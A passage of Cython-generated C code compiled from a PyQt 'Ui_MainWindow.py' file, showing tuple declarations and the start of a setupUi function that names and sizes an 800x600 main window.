*__pyx_tuple__64; static PyObject *__pyx_tuple__65; static PyObject *__pyx_tuple__66; static PyObject *__pyx_tuple__67; static PyObject *__pyx_tuple__68; static PyObject *__pyx_tuple__69; static PyObject *__pyx_tuple__70; static PyObject *__pyx_tuple__71; static PyObject *__pyx_tuple__72; static PyObject *__pyx_tuple__73; static PyObject *__pyx_tuple__74; static PyObject *__pyx_tuple__75; static PyObject *__pyx_tuple__76; static PyObject *__pyx_tuple__77; static PyObject *__pyx_tuple__78; static PyObject *__pyx_tuple__79; static PyObject *__pyx_tuple__80; static PyObject *__pyx_tuple__81; static PyObject *__pyx_tuple__82; static PyObject *__pyx_tuple__83; static PyObject *__pyx_tuple__84; static PyObject *__pyx_tuple__85; static PyObject *__pyx_tuple__86; static PyObject *__pyx_tuple__87; static PyObject *__pyx_tuple__88; static PyObject *__pyx_tuple__89; static PyObject *__pyx_tuple__90; static PyObject *__pyx_tuple__91; static PyObject *__pyx_tuple__92; static PyObject *__pyx_tuple__93; static PyObject *__pyx_tuple__94; static PyObject *__pyx_tuple__95; static PyObject *__pyx_tuple__96; static PyObject *__pyx_tuple__97; static PyObject *__pyx_tuple__98; static PyObject *__pyx_tuple__99; static PyObject *__pyx_tuple__100; static PyObject *__pyx_tuple__101; static PyObject *__pyx_tuple__102; static PyObject *__pyx_tuple__103; static PyObject *__pyx_tuple__104; static PyObject *__pyx_tuple__105; static PyObject *__pyx_tuple__106; static PyObject *__pyx_tuple__107; static PyObject *__pyx_tuple__108; static PyObject *__pyx_tuple__109; static PyObject *__pyx_tuple__110; static PyObject *__pyx_tuple__111; static PyObject *__pyx_tuple__112; static PyObject *__pyx_tuple__113; static PyObject *__pyx_tuple__114; static PyObject *__pyx_tuple__115; static PyObject *__pyx_tuple__116; static PyObject *__pyx_tuple__117; static PyObject *__pyx_tuple__118; static PyObject *__pyx_tuple__119; static PyObject *__pyx_tuple__120; static PyObject *__pyx_tuple__121; static PyObject *__pyx_tuple__122; static PyObject *__pyx_tuple__123; static PyObject *__pyx_tuple__124; static PyObject *__pyx_tuple__125; static PyObject *__pyx_tuple__126; static PyObject *__pyx_tuple__127; static PyObject *__pyx_tuple__128; static PyObject *__pyx_tuple__129; static PyObject *__pyx_tuple__130; static PyObject *__pyx_tuple__131; static PyObject *__pyx_tuple__132; static PyObject *__pyx_tuple__133; static PyObject *__pyx_tuple__134; static PyObject *__pyx_tuple__135; static PyObject *__pyx_tuple__136; static PyObject *__pyx_tuple__137; static PyObject *__pyx_tuple__138; static PyObject *__pyx_tuple__139; static PyObject *__pyx_tuple__141; static PyObject *__pyx_tuple__142; static PyObject *__pyx_tuple__143; static PyObject *__pyx_tuple__144; static PyObject *__pyx_tuple__146; static PyObject *__pyx_tuple__147; static PyObject *__pyx_tuple__148; static PyObject *__pyx_tuple__149; static PyObject *__pyx_tuple__150; static PyObject *__pyx_tuple__151; static PyObject *__pyx_tuple__152; static PyObject *__pyx_tuple__153; static PyObject *__pyx_tuple__154; static PyObject *__pyx_tuple__155; static PyObject *__pyx_tuple__156; static PyObject *__pyx_tuple__157; static PyObject *__pyx_tuple__158; static PyObject *__pyx_tuple__159; static PyObject *__pyx_tuple__160; static PyObject *__pyx_tuple__161; static PyObject *__pyx_tuple__162; static PyObject *__pyx_tuple__163; static PyObject *__pyx_tuple__164; static PyObject *__pyx_tuple__165; static PyObject *__pyx_tuple__166; static PyObject *__pyx_tuple__167; static PyObject *__pyx_tuple__168; static PyObject *__pyx_tuple__169; static PyObject *__pyx_tuple__170; static PyObject *__pyx_tuple__171; static PyObject *__pyx_tuple__172; static PyObject *__pyx_tuple__173; static PyObject *__pyx_tuple__174; static PyObject *__pyx_tuple__175; static PyObject *__pyx_tuple__176; static PyObject *__pyx_tuple__177; static PyObject *__pyx_tuple__178; static PyObject *__pyx_tuple__179; static PyObject *__pyx_tuple__180; static PyObject *__pyx_tuple__181; static PyObject *__pyx_tuple__182; static PyObject *__pyx_tuple__183; static PyObject *__pyx_tuple__184; static PyObject *__pyx_tuple__185; static PyObject *__pyx_tuple__186; static PyObject *__pyx_tuple__187; static PyObject *__pyx_tuple__188; static PyObject *__pyx_tuple__189; static PyObject *__pyx_tuple__190; static PyObject *__pyx_tuple__191; static PyObject *__pyx_tuple__192; static PyObject *__pyx_tuple__193; static PyObject *__pyx_tuple__194; static PyObject *__pyx_tuple__195; static PyObject *__pyx_tuple__196; static PyObject *__pyx_tuple__197; static PyObject *__pyx_tuple__198; static PyObject *__pyx_tuple__199; static PyObject *__pyx_tuple__200; static PyObject *__pyx_tuple__201; static PyObject *__pyx_tuple__202; static PyObject *__pyx_tuple__203; static PyObject *__pyx_tuple__204; static PyObject *__pyx_tuple__205; static PyObject *__pyx_tuple__206; static PyObject *__pyx_tuple__207; static PyObject *__pyx_tuple__208; static PyObject *__pyx_tuple__209; static PyObject *__pyx_tuple__210; static PyObject *__pyx_tuple__211; static PyObject *__pyx_tuple__212; static PyObject *__pyx_tuple__213; static PyObject *__pyx_tuple__214; static PyObject *__pyx_tuple__215; static PyObject *__pyx_tuple__216; static PyObject *__pyx_tuple__217; static PyObject *__pyx_tuple__218; static PyObject *__pyx_tuple__219; static PyObject *__pyx_tuple__220; static PyObject *__pyx_tuple__221; static PyObject *__pyx_tuple__222; static PyObject *__pyx_tuple__223; static PyObject *__pyx_tuple__224; static PyObject *__pyx_tuple__225; static PyObject *__pyx_tuple__226; static PyObject *__pyx_tuple__227; static PyObject *__pyx_tuple__228; static PyObject *__pyx_tuple__229; static PyObject *__pyx_tuple__230; static PyObject *__pyx_tuple__231; static PyObject *__pyx_tuple__232; static PyObject *__pyx_tuple__233; static PyObject *__pyx_tuple__234; static PyObject *__pyx_tuple__235; static PyObject *__pyx_tuple__236; static PyObject *__pyx_tuple__237; static PyObject *__pyx_tuple__238; static PyObject *__pyx_tuple__239; static PyObject *__pyx_tuple__240; static PyObject *__pyx_tuple__241; static PyObject *__pyx_tuple__242; static PyObject *__pyx_tuple__243; static PyObject *__pyx_tuple__244; static PyObject *__pyx_tuple__245; static PyObject *__pyx_tuple__246; static PyObject *__pyx_tuple__247; static PyObject *__pyx_tuple__248; static PyObject *__pyx_tuple__249; static PyObject *__pyx_tuple__250; static PyObject *__pyx_tuple__251; static PyObject *__pyx_tuple__252; static PyObject *__pyx_tuple__253; static PyObject *__pyx_tuple__254; static PyObject *__pyx_tuple__255; static PyObject *__pyx_tuple__256; static PyObject *__pyx_tuple__257; static PyObject *__pyx_tuple__258; static PyObject *__pyx_tuple__259; static PyObject *__pyx_tuple__260; static PyObject *__pyx_tuple__261; static PyObject *__pyx_tuple__262; static PyObject *__pyx_tuple__263; static PyObject *__pyx_tuple__264; static PyObject *__pyx_tuple__265; static PyObject *__pyx_tuple__266; static PyObject *__pyx_tuple__267; static PyObject *__pyx_tuple__268; static PyObject *__pyx_tuple__269; static PyObject *__pyx_tuple__270; static PyObject *__pyx_tuple__271; static PyObject *__pyx_tuple__272; static PyObject *__pyx_tuple__273; static PyObject *__pyx_tuple__274; static PyObject *__pyx_tuple__275; static PyObject *__pyx_tuple__276; static PyObject *__pyx_tuple__277; static PyObject *__pyx_tuple__278; static PyObject *__pyx_tuple__279; static PyObject *__pyx_tuple__280; static PyObject *__pyx_tuple__281; static PyObject *__pyx_tuple__282; static PyObject *__pyx_tuple__283; static PyObject *__pyx_tuple__284; static PyObject *__pyx_tuple__285; static PyObject *__pyx_tuple__286; static PyObject *__pyx_tuple__287; static PyObject *__pyx_tuple__288; static PyObject *__pyx_tuple__289; static PyObject *__pyx_tuple__290; static PyObject *__pyx_tuple__291; static PyObject *__pyx_tuple__292; static PyObject *__pyx_tuple__293; static PyObject *__pyx_tuple__294; static PyObject *__pyx_tuple__295; static PyObject *__pyx_tuple__296; static PyObject *__pyx_tuple__297; static PyObject *__pyx_tuple__298; static PyObject *__pyx_tuple__299; static PyObject *__pyx_tuple__300; static PyObject *__pyx_tuple__301; static PyObject *__pyx_tuple__302; static PyObject *__pyx_tuple__303; static PyObject *__pyx_tuple__304; static PyObject *__pyx_tuple__305; static PyObject *__pyx_tuple__306; static PyObject *__pyx_tuple__307; static PyObject *__pyx_tuple__308; static PyObject *__pyx_tuple__309; static PyObject *__pyx_tuple__310; static PyObject *__pyx_tuple__311; static PyObject *__pyx_tuple__312; static PyObject *__pyx_tuple__313; static PyObject *__pyx_tuple__314; static PyObject *__pyx_tuple__315; static PyObject *__pyx_tuple__316; static PyObject *__pyx_tuple__317; static PyObject *__pyx_tuple__318; static PyObject *__pyx_tuple__319; static PyObject *__pyx_tuple__320; static PyObject *__pyx_tuple__321; static PyObject *__pyx_tuple__322; static PyObject *__pyx_tuple__323; static PyObject *__pyx_tuple__324; static PyObject *__pyx_tuple__325; static PyObject *__pyx_tuple__326; static PyObject *__pyx_tuple__327; static PyObject *__pyx_tuple__328; static PyObject *__pyx_tuple__329; static PyObject *__pyx_tuple__330; static PyObject *__pyx_tuple__331; static PyObject *__pyx_tuple__332; static PyObject *__pyx_tuple__333; static PyObject *__pyx_tuple__334; static PyObject *__pyx_tuple__335; static PyObject *__pyx_tuple__336; static PyObject *__pyx_tuple__337; static PyObject *__pyx_tuple__338; static PyObject *__pyx_tuple__339; static PyObject *__pyx_tuple__340; static PyObject *__pyx_tuple__341; static PyObject *__pyx_tuple__342; static PyObject *__pyx_tuple__343; static PyObject *__pyx_tuple__344; static PyObject *__pyx_tuple__345; static PyObject *__pyx_tuple__346; static PyObject *__pyx_tuple__347; static PyObject *__pyx_tuple__348; static PyObject *__pyx_tuple__349; static PyObject *__pyx_tuple__350; static PyObject *__pyx_tuple__351; static PyObject *__pyx_tuple__352; static PyObject *__pyx_tuple__353; static PyObject *__pyx_tuple__354; static PyObject *__pyx_tuple__355; static PyObject *__pyx_tuple__356; static PyObject *__pyx_tuple__357; static PyObject *__pyx_tuple__358; static PyObject *__pyx_tuple__359; static PyObject *__pyx_tuple__360; static PyObject *__pyx_tuple__361; static PyObject *__pyx_tuple__362; static PyObject *__pyx_tuple__363; static PyObject *__pyx_tuple__364; static PyObject *__pyx_tuple__365; static PyObject *__pyx_tuple__366; static PyObject *__pyx_tuple__367; static PyObject *__pyx_tuple__368; static PyObject *__pyx_tuple__369; static PyObject *__pyx_tuple__370; static PyObject *__pyx_tuple__371; static PyObject *__pyx_tuple__372; static PyObject *__pyx_tuple__373; static PyObject *__pyx_tuple__374; static PyObject *__pyx_tuple__375; static PyObject *__pyx_tuple__376; static PyObject *__pyx_tuple__377; static PyObject *__pyx_tuple__378; static PyObject *__pyx_tuple__379; static PyObject *__pyx_tuple__380; static PyObject *__pyx_tuple__381; static PyObject *__pyx_tuple__382; static PyObject *__pyx_tuple__383; static PyObject *__pyx_tuple__384; static PyObject *__pyx_tuple__385; static PyObject *__pyx_tuple__386; static PyObject *__pyx_tuple__387; static PyObject *__pyx_tuple__388; static PyObject *__pyx_tuple__389; static PyObject *__pyx_tuple__390; static PyObject *__pyx_tuple__391; static PyObject *__pyx_tuple__392; static PyObject *__pyx_tuple__393; static PyObject *__pyx_tuple__394; static PyObject *__pyx_tuple__395; static PyObject *__pyx_tuple__396; static PyObject *__pyx_tuple__397; static PyObject *__pyx_tuple__398; static PyObject *__pyx_tuple__399; static PyObject *__pyx_tuple__400; static PyObject *__pyx_tuple__401; static PyObject *__pyx_tuple__402; static PyObject *__pyx_tuple__403; static PyObject *__pyx_tuple__404; static PyObject *__pyx_tuple__405; static PyObject *__pyx_tuple__406; static PyObject *__pyx_tuple__407; static PyObject *__pyx_tuple__408; static PyObject *__pyx_tuple__409; static PyObject *__pyx_tuple__410; static PyObject *__pyx_tuple__411; static PyObject *__pyx_tuple__412; static PyObject *__pyx_tuple__413; static PyObject *__pyx_tuple__414; static PyObject *__pyx_tuple__415; static PyObject *__pyx_tuple__416; static PyObject *__pyx_tuple__417; static PyObject *__pyx_tuple__418; static PyObject *__pyx_tuple__419; static PyObject *__pyx_tuple__420; static PyObject *__pyx_tuple__421; static PyObject *__pyx_tuple__422; static PyObject *__pyx_tuple__423; static PyObject *__pyx_tuple__424; static PyObject *__pyx_tuple__425; static PyObject *__pyx_tuple__426; static PyObject *__pyx_tuple__427; static PyObject *__pyx_tuple__428; static PyObject *__pyx_tuple__429; static PyObject *__pyx_tuple__430; static PyObject *__pyx_tuple__431; static PyObject *__pyx_tuple__432; static PyObject *__pyx_tuple__433; static PyObject *__pyx_tuple__434; static PyObject *__pyx_tuple__435; static PyObject *__pyx_tuple__436; static PyObject *__pyx_tuple__437; static PyObject *__pyx_tuple__438; static PyObject *__pyx_tuple__439; static PyObject *__pyx_tuple__440; static PyObject *__pyx_tuple__441; static PyObject *__pyx_tuple__442; static PyObject *__pyx_tuple__443; static PyObject *__pyx_tuple__444; static PyObject *__pyx_tuple__445; static PyObject *__pyx_tuple__446; static PyObject *__pyx_tuple__447; static PyObject *__pyx_tuple__448; static PyObject *__pyx_tuple__449; static PyObject *__pyx_tuple__450; static PyObject *__pyx_tuple__451; static PyObject *__pyx_tuple__452; static PyObject *__pyx_tuple__453; static PyObject *__pyx_tuple__454; static PyObject *__pyx_tuple__455; static PyObject *__pyx_tuple__456; static PyObject *__pyx_tuple__457; static PyObject *__pyx_tuple__458; static PyObject *__pyx_tuple__459; static PyObject *__pyx_tuple__460; static PyObject *__pyx_tuple__461; static PyObject *__pyx_tuple__462; static PyObject *__pyx_tuple__463; static PyObject *__pyx_tuple__464; static PyObject *__pyx_tuple__465; static PyObject *__pyx_tuple__466; static PyObject *__pyx_tuple__467; static PyObject *__pyx_tuple__468; static PyObject *__pyx_tuple__469; static PyObject *__pyx_tuple__470; static PyObject *__pyx_tuple__471; static PyObject *__pyx_tuple__472; static PyObject *__pyx_tuple__473; static PyObject *__pyx_tuple__474; static PyObject *__pyx_tuple__475; static PyObject *__pyx_tuple__476; static PyObject *__pyx_tuple__477; static PyObject *__pyx_tuple__478; static PyObject *__pyx_tuple__479; static PyObject *__pyx_tuple__480; static PyObject *__pyx_tuple__481; static PyObject *__pyx_tuple__482; static PyObject *__pyx_tuple__483; static PyObject *__pyx_tuple__484; static PyObject *__pyx_tuple__485; static PyObject *__pyx_tuple__486; static PyObject *__pyx_tuple__487; static PyObject *__pyx_tuple__488; static PyObject *__pyx_tuple__489; static PyObject *__pyx_tuple__490; static PyObject *__pyx_tuple__491; static PyObject *__pyx_tuple__492; static PyObject *__pyx_tuple__493; static PyObject *__pyx_tuple__494; static PyObject *__pyx_tuple__495; static PyObject *__pyx_tuple__496; static PyObject *__pyx_tuple__497; static PyObject *__pyx_tuple__498; static PyObject *__pyx_tuple__499; static PyObject *__pyx_tuple__500; static PyObject *__pyx_tuple__501; static PyObject *__pyx_tuple__502; static PyObject *__pyx_tuple__503; static PyObject *__pyx_tuple__504; static PyObject *__pyx_tuple__505; static PyObject *__pyx_tuple__506; static PyObject *__pyx_tuple__507; static PyObject *__pyx_tuple__508; static PyObject *__pyx_tuple__509; static PyObject *__pyx_tuple__510; static PyObject *__pyx_tuple__511; static PyObject *__pyx_tuple__512; static PyObject *__pyx_tuple__513; static PyObject *__pyx_tuple__514; static PyObject *__pyx_tuple__515; static PyObject *__pyx_tuple__516; static PyObject *__pyx_tuple__517; static PyObject *__pyx_tuple__518; static PyObject *__pyx_tuple__519; static PyObject *__pyx_tuple__520; static PyObject *__pyx_tuple__521; static PyObject *__pyx_tuple__522; static PyObject *__pyx_tuple__523; static PyObject *__pyx_tuple__524; static PyObject *__pyx_tuple__525; static PyObject *__pyx_tuple__526; static PyObject *__pyx_tuple__527; static PyObject *__pyx_tuple__528; static PyObject *__pyx_tuple__529; static PyObject *__pyx_tuple__530; static PyObject *__pyx_tuple__531; static PyObject *__pyx_tuple__532; static PyObject *__pyx_tuple__533; static PyObject *__pyx_tuple__534; static PyObject *__pyx_tuple__535; static PyObject *__pyx_tuple__536; static PyObject *__pyx_tuple__537; static PyObject *__pyx_tuple__538; static PyObject *__pyx_tuple__539; static PyObject *__pyx_tuple__540; static PyObject *__pyx_tuple__541; static PyObject *__pyx_tuple__542; static PyObject *__pyx_tuple__543; static PyObject *__pyx_tuple__544; static PyObject *__pyx_tuple__545; static PyObject *__pyx_tuple__546; static PyObject *__pyx_tuple__547; static PyObject *__pyx_tuple__548; static PyObject *__pyx_tuple__549; static PyObject *__pyx_tuple__550; static PyObject *__pyx_tuple__551; static PyObject *__pyx_tuple__552; static PyObject *__pyx_tuple__553; static PyObject *__pyx_tuple__554; static PyObject *__pyx_tuple__555; static PyObject *__pyx_tuple__556; static PyObject *__pyx_tuple__557; static PyObject *__pyx_tuple__558; static PyObject *__pyx_tuple__559; static PyObject *__pyx_tuple__560; static PyObject *__pyx_tuple__561; static PyObject *__pyx_tuple__562; static PyObject *__pyx_tuple__563; static PyObject *__pyx_tuple__564; static PyObject *__pyx_tuple__565; static PyObject *__pyx_tuple__566; static PyObject *__pyx_tuple__567; static PyObject *__pyx_tuple__568; static PyObject *__pyx_tuple__569; static PyObject *__pyx_tuple__570; static PyObject *__pyx_tuple__571; static PyObject *__pyx_tuple__572; static PyObject *__pyx_tuple__573; static PyObject *__pyx_tuple__574; static PyObject *__pyx_tuple__575; static PyObject *__pyx_tuple__576; static PyObject *__pyx_tuple__577; static PyObject *__pyx_tuple__578; static PyObject *__pyx_tuple__579; static PyObject *__pyx_tuple__580; static PyObject *__pyx_tuple__581; static PyObject *__pyx_tuple__582; static PyObject *__pyx_tuple__583; static PyObject *__pyx_tuple__584; static PyObject *__pyx_tuple__585; static PyObject *__pyx_tuple__586; static PyObject *__pyx_tuple__587; static PyObject *__pyx_tuple__588; static PyObject *__pyx_tuple__589; static PyObject *__pyx_tuple__590; static PyObject *__pyx_tuple__591; static PyObject *__pyx_tuple__592; static PyObject *__pyx_tuple__593; static PyObject *__pyx_tuple__594; static PyObject *__pyx_tuple__595; static PyObject *__pyx_tuple__596; static PyObject *__pyx_tuple__597; static PyObject *__pyx_tuple__598; static PyObject *__pyx_tuple__599; static PyObject *__pyx_tuple__600; static PyObject *__pyx_tuple__601; static PyObject *__pyx_tuple__602; static PyObject *__pyx_tuple__603; static PyObject *__pyx_tuple__604; static PyObject *__pyx_tuple__605; static PyObject *__pyx_tuple__606; static PyObject *__pyx_tuple__607; static PyObject *__pyx_tuple__608; static PyObject *__pyx_tuple__609; static PyObject *__pyx_tuple__610; static PyObject *__pyx_tuple__611; static PyObject *__pyx_tuple__612; static PyObject *__pyx_tuple__613; static PyObject *__pyx_tuple__614; static PyObject *__pyx_tuple__615; static PyObject *__pyx_tuple__616; static PyObject *__pyx_tuple__617; static PyObject *__pyx_tuple__618; static PyObject *__pyx_tuple__619; static PyObject *__pyx_tuple__620; static PyObject *__pyx_tuple__621; static PyObject *__pyx_tuple__622; static PyObject *__pyx_tuple__623; static PyObject *__pyx_tuple__624; static PyObject *__pyx_tuple__625; static PyObject *__pyx_tuple__626; static PyObject *__pyx_tuple__627; static PyObject *__pyx_tuple__628; static PyObject *__pyx_tuple__629; static PyObject *__pyx_tuple__630; static PyObject *__pyx_tuple__631; static PyObject *__pyx_tuple__632; static PyObject *__pyx_tuple__633; static PyObject *__pyx_tuple__634; static PyObject *__pyx_tuple__635; static PyObject *__pyx_tuple__636; static PyObject *__pyx_tuple__637; static PyObject *__pyx_tuple__638; static PyObject *__pyx_tuple__639; static PyObject *__pyx_tuple__640; static PyObject *__pyx_tuple__641; static PyObject *__pyx_tuple__642; static PyObject *__pyx_tuple__643; static PyObject *__pyx_tuple__644; static PyObject *__pyx_tuple__645; static PyObject *__pyx_tuple__646; static PyObject *__pyx_tuple__647; static PyObject *__pyx_tuple__648; static PyObject *__pyx_tuple__649; static PyObject *__pyx_tuple__650; static PyObject *__pyx_tuple__651; static PyObject *__pyx_tuple__652; static PyObject *__pyx_tuple__653; static PyObject *__pyx_tuple__654; static PyObject *__pyx_tuple__655; static PyObject *__pyx_tuple__656; static PyObject *__pyx_tuple__657; static PyObject *__pyx_tuple__658; static PyObject *__pyx_tuple__659; static PyObject *__pyx_tuple__660; static PyObject *__pyx_tuple__661; static PyObject *__pyx_tuple__662; static PyObject *__pyx_tuple__663; static PyObject *__pyx_tuple__664; static PyObject *__pyx_tuple__665; static PyObject *__pyx_tuple__666; static PyObject *__pyx_tuple__667; static PyObject *__pyx_tuple__668; static PyObject *__pyx_tuple__669; static PyObject *__pyx_tuple__670; static PyObject *__pyx_tuple__671; static PyObject *__pyx_tuple__672; static PyObject *__pyx_tuple__673; static PyObject *__pyx_tuple__674; static PyObject *__pyx_tuple__675; static PyObject *__pyx_tuple__676; static PyObject *__pyx_tuple__677; static PyObject *__pyx_tuple__678; static PyObject *__pyx_tuple__679; static PyObject *__pyx_tuple__680; static PyObject *__pyx_tuple__681; static PyObject *__pyx_tuple__682; static PyObject *__pyx_tuple__683; static PyObject *__pyx_tuple__684; static PyObject *__pyx_tuple__685; static PyObject *__pyx_tuple__686; static PyObject *__pyx_tuple__687; static PyObject *__pyx_tuple__688; static PyObject *__pyx_tuple__689; static PyObject *__pyx_tuple__690; static PyObject *__pyx_tuple__691; static PyObject *__pyx_tuple__692; static PyObject *__pyx_tuple__693; static PyObject *__pyx_tuple__694; static PyObject *__pyx_tuple__695; static PyObject *__pyx_tuple__696; static PyObject *__pyx_tuple__697; static PyObject *__pyx_tuple__698; static PyObject *__pyx_tuple__699; static PyObject *__pyx_tuple__700; static PyObject *__pyx_tuple__701; static PyObject *__pyx_tuple__702; static PyObject *__pyx_tuple__703; static PyObject *__pyx_tuple__705; static PyObject *__pyx_codeobj__704; static PyObject *__pyx_codeobj__706; /* "Ui_MainWindow.py":12 * * class Ui_MainWindow(object): * def setupUi(self, MainWindow): # <<<<<<<<<<<<<< * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) */ /* Python wrapper */ static PyObject *__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_1setupUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_13Ui_MainWindow_13Ui_MainWindow_1setupUi = {"setupUi", (PyCFunction)__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_1setupUi, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_13Ui_MainWindow_13Ui_MainWindow_1setupUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_MainWindow = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setupUi (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_MainWindow,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_MainWindow)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setupUi", 1, 2, 2, 1); __PYX_ERR(0, 12, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setupUi") < 0)) __PYX_ERR(0, 12, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_MainWindow = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setupUi", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 12, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Ui_MainWindow.Ui_MainWindow.setupUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_13Ui_MainWindow_13Ui_MainWindow_setupUi(__pyx_self, __pyx_v_self, __pyx_v_MainWindow); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_13Ui_MainWindow_13Ui_MainWindow_setupUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_MainWindow) { PyObject *__pyx_v_font = NULL; PyObject *__pyx_v_sizePolicy = NULL; PyObject *__pyx_v_spacerItem = NULL; PyObject *__pyx_v_spacerItem1 = NULL; PyObject *__pyx_v_item_0 = NULL; PyObject *__pyx_v_item_1 = NULL; PyObject *__pyx_v_item = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; int __pyx_t_8; PyObject *__pyx_t_9 = NULL; __Pyx_RefNannySetupContext("setupUi", 0); /* "Ui_MainWindow.py":13 * class Ui_MainWindow(object): * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") # <<<<<<<<<<<<<< * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple_, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_MainWindow.py":14 * def setupUi(self, MainWindow): * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) # <<<<<<<<<<<<<< * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_resize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":15 * MainWindow.setObjectName("MainWindow") * MainWindow.resize(800, 600) * MainWindow.setMinimumSize(QtCore.QSize(800, 600)) # <<<<<<<<<<<<<< * MainWindow.setMaximumSize(QtCore.QSize(800, 600)) * MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_MainWindow, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 15, __pyx_L1_error) 